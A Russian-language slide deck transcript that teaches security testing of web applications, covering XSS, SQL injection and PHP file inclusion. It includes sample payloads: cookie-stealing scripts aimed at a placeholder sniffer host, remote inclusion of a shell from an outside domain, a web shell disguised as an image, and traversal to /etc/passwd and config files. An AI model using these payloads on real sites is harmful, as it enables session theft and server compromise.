Security testing

14
Тестирование безопасности или Security and Access Control Testing

description

 

Transcript of Security testing

Page 1: Security testing

Тестирование безопасности или Security and Access

Control Testing

Page 2: Security testing

Принципы безопасности ПО

• Конфиденциальность

• Целостность

• Доступность

Page 3: Security testing

КонфиденциальностьКонфиденциальность - это сокрытие определенных ресурсов или информации. Под конфиденциальностью можно понимать ограничение доступа к ресурсу некоторой категории пользователей, или другими словами, при каких условиях пользователь авторизован получить доступ к данному ресурсу.

Page 4: Security testing

ЦелостностьЦелостность - ожидается, что ресурс будет изменен только соответствующим способом определенной группой пользователей. Является условием того, что данные не были несанкционированно модифицированы при выполнении любой операции над ними, будь то передача, хранение или представление.

Page 5: Security testing

ДоступностьДоступность - состояние информации (ресурсов автоматизированной информационной системы), при котором субъекты, имеющие право доступа, могут реализовывать их беспрепятственно. Как правило, чем более критичен ресурс тем выше уровень доступности должен быть.

Page 6: Security testing

Основные типы уязвимостейWeb-приложений

• XSS injection

• SQL injection

• PHP injection

Page 7: Security testing

XSS injection(Cross Site Scripting)

XSS injection - тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента.

Page 8: Security testing

XSS injection(Cross Site Scripting)

Примеры:

• <script>alert(‘XSS’)</script>

• <IMG SRC="javascript:alert('XSS');">

• <script src="http://oursite/blabla.js"></script>

• <script>document.location="SNIFFER"+document.cookie</script>

• <script>img=new Image();img.src="SNIFFER"+document.cookie</script>

Page 9: Security testing

SQL injectionSQL–injection - один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных, получить возможность чтения и/или записи локальных файлов и т.д.

Page 10: Security testing

SQL injectionИсходная страница: site.com/index.php?id=1

Примеры:

• site.com/index.php?id=1 ‘ (Выводит ошибку)

• site.com/index.php?id=1 blablabla (Выводит ошибку)

• site.com/index.php?id=2-1(Выводит страницу 1)

• site.com/index.php?id=1*1(Выводит страницу 1)

• site.com/index.php?id=1*2(Выводит страницу 2)

• site.com/index.php?id=1+and+1=1(Выводит страницу 1)

• site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит)

Page 11: Security testing

PHP injectionPHP injection - один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:eval(),preg_replace() (с модификатором «e»),require_once(),include_once(),include(),require(),create_function().

PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

Page 12: Security testing

PHP injectionУдалённый инклуд (Remote File Inclusion)

<?php if($_GET['page'].'.php') { include($_GET['page'].'.php'); } else { include($file.'.php'); } ?>

• Нет проверки на существование значения $_GET['page']http://site.ru/index.php?page=http://hack.ru/shell

• Переменная $file не была определена раннееhttp://site.ru/index.php?file=http://hack.ru/shell

Page 13: Security testing

PHP injectionЛокальный инклуд (Local File Inclusion)

<?php … include("include/$file"); … ?>

• Под видом картинки заливаем веб-шелл:http://www.site.com/index.php?include=../forum/images/shell.jpg

• Если знаем движок и структуру приложения, можем прочитать конфигурационные файлы:

http://www.site.com/index.php?include=../forum/admin/config.php

• Либо даже так:http://www.site.com/index.php?include=../../../../etc/passwd

Page 14: Security testing

Что почитать по теме?

• XSS (Cross Site Scripting) Cheat Sheet http://ha.ckers.org/xss.html

• Много статей по SQL/PHP/XSS-inj с примерами http://forum.antichat.ru/thread19610.html